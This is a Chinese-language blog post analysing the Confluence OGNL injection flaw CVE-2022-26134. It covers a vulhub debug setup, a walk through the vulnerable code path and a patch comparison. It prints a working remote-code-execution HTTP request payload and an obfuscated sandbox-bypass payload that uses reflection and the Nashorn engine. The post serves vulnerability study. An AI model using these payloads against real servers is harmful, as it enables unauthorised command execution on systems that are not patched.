Confluence CVE-2022-26134 漏洞分析

Confluence CVE-2022-26134 漏洞分析

调试环境配置

这里在 p牛的 vulhub 的基础上进行简单修改从而来进行远程调试,查看 docker-compose.yml 发现只映射了 8090 端口,所以我们首先增加调试端口的映射

我这里添加的是 5005 端口

version: '2'
services:
  web:
    image: vulhub/confluence:7.13.6
    ports:
      - "8090:8090"
      - "5005:5005"
    depends_on:
      - db
  db:
    image: postgres:12.8-alpine
    environment: 
    - POSTGRES_PASSWORD=postgres
    - POSTGRES_DB=confluence

通过 ps aux 和 ps -le 可以确定源码位置和父进程

源码位置为:/opt/atlassian/confluence

父进程为: /usr/bin/tini -- /entrypoint.py

image-20220618150129933

通过 docker cp 将源码都复制出来,然后通过 IDEA 引入并增加相关依赖

image-20220618150543269

查看父进程发现涉及到了 entrypoint.py 文件并进行查看,发现启动是通过运行 start-confluence.sh 文件

image-20220618150246322

在查看 start-confluence.sh 文件发现会调用 catalina.sh ,其实就是启动 tomcat

image-20220618150640891

同时在 tomcat 中会通过 setenv.sh 来统一管理环境变量,所以我这边通过修改 setenv.sh 来开启远程调试

image-20220618151006919

然后运行根目录下的 shutdown-wait.sh 文件将 confluence 关掉,然后重启一下即可

Ps: 由于当前环境没有安装 vi/vim 所以添加一下 apt 源 然后更新一下

sed -i s/archive.ubuntu.com/mirrors.aliyun.com/g /etc/apt/sources.list && sed -i s/security.ubuntu.com/mirrors.aliyun.com/g /etc/apt/sources.list && rm -rf /var/lib/apt/lists/* && rm -rf /var/lib/apt/lists/partial/* && apt-get clean && apt-get update && apt-get update -o Acquire::No-Cache=True

apt update && apt install -y vim

漏洞复现

如果是通过 python 来进行编写的话,那么需要禁止302跳转

直接采用 vulhub 中的 payload 可以快速复现

image-20220618152312449

GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

漏洞分析

将源码载入到 IDEA 之后,首先查看 web.xml 中找到 ConfluenceServletDispatcher

image-20220618163214342

跟进 ConfluenceServletDispatcher 类,发现类中并没有 service 方法,所以查看父类,发现 service 存在父类中

ps:通常情况下 Dispatcher类 负责将请求发到各个处理器中,所以我个人习惯是先寻找 Dispatcher#service 来下断点调试

image-20220618163320777

测试一下发现断点确实可以正常打到

image-20220618163518449

接下来正式开始漏洞调试,首先观察 vulhub 中的 payload ,可以看到 payload 是以 get 的形式发送的,所以就从 ConfluenceServletDispatcher#service 这里往下看

在 this.serviceAction 中通过 this.getNameSpace 和 this.getActionName 来处理请求中的路由和端点

image-20220619163034268

this.getNameSpace 会将 servletPath 获取从0到最后一个 / 的路径

image-20220619163322616

也就是获取我们 payload 的部分

${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

this.getActionName 会获取我们的端点部分,从 / 开始到最后一个 . 之间的值,也就是获取到 index

image-20220619163701331

这里我们输入的是

/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/index.action

最终获取到的 action 也就是 index

然后在 serviceAction 中首先会根据传入的 namespace 、action 、requestMap 等参数创建一个代理对象

image-20220619164732973

可以看到在创建代理对象的过程中我们的payaload存放于 namespace 变量

image-20220619164940120

然后调用代理对象的 execute 函数,在 execute 函数中主要是调用了 this.invocation.invoke(); 也就是拦截器的 invoke 方法,并返回一个 code

image-20220619165604972

跟进查看 invoke 方法,发现在 invoke 方法中会迭代 interceptors

image-20220619173003892

this.interceptors 是一个存放拦截器的列表,然后通过遍历 this.interceptors 来调用拦截器中的 intercept 方法

image-20220619173209599

然后如果 this.proxy.getExecuteResult() == true 就会执行 this.executeResult()

image-20220619174127572

首先需要知道 this.proxy.getExecuteResult() 是从哪设置的,查看堆栈可以发现在最开始创建代理对象的时候默认设置的为 true

image-20220622200731854

在 executeResult 里面可以看到首先通过调用 this.createResult() 获取了 result

image-20220622200925462

跟进 this.createResult 函数,在函数中根据之前的 resultCode 从表中获取对应的结果

image-20220622201113955

接着就会将 自身 作为参数传入到 execute 函数

image-20220622201238869

在 execute 中会通过 TextParseUtil.translateVariables 函数来将 namespace 进行变量转化

image-20220619174250669

在该函数中,造成了 OGNL 表达式的触发,并且传入的 namespace 可控 造成 RCE

image-20220622170543755

所以实际在看源码的时候主要是 OGNL 表达式相关的解析库,并且其中的参数可控那么就可以合理怀疑这里存在 OGNL 表达式注入

补丁对比

https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

由于经过漏洞分析可以知道最终问题出现在 ActionChainResult#execute 处,通过 IDEA 的比较功能发现在更新过程中将 TextParseUtil.translateVariables 方法给去掉了

image-20220618170702753

沙盒绕过

在 confluence > 7.15 的时候,增加了沙箱,分别做了一些黑名单和白名单处理,但是可以通过反射 + js 引擎绕过

下面是p牛的payload

${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null).invoke(null,null).setHeader("X-CMD",Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("eval(String.fromCharCode(118,97,114,32,115,61,39,39,59,118,97,114,32,112,112,32,61,32,106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,39,105,100,39,41,46,103,101,116,73,110,112,117,116,83,116,114,101,97,109,40,41,59,119,104,105,108,101,32,40,49,41,32,123,118,97,114,32,98,32,61,32,112,112,46,114,101,97,100,40,41,59,105,102,32,40,98,32,61,61,32,45,49,41,32,123,98,114,101,97,107,59,125,115,61,115,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,98,41,125,59,115))"))}

参考链接

https://www.anquanke.com/post/id/274026

https://y4er.com/post/cve-2022-26134-confluence-server-data-center-ognl-rce/

评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇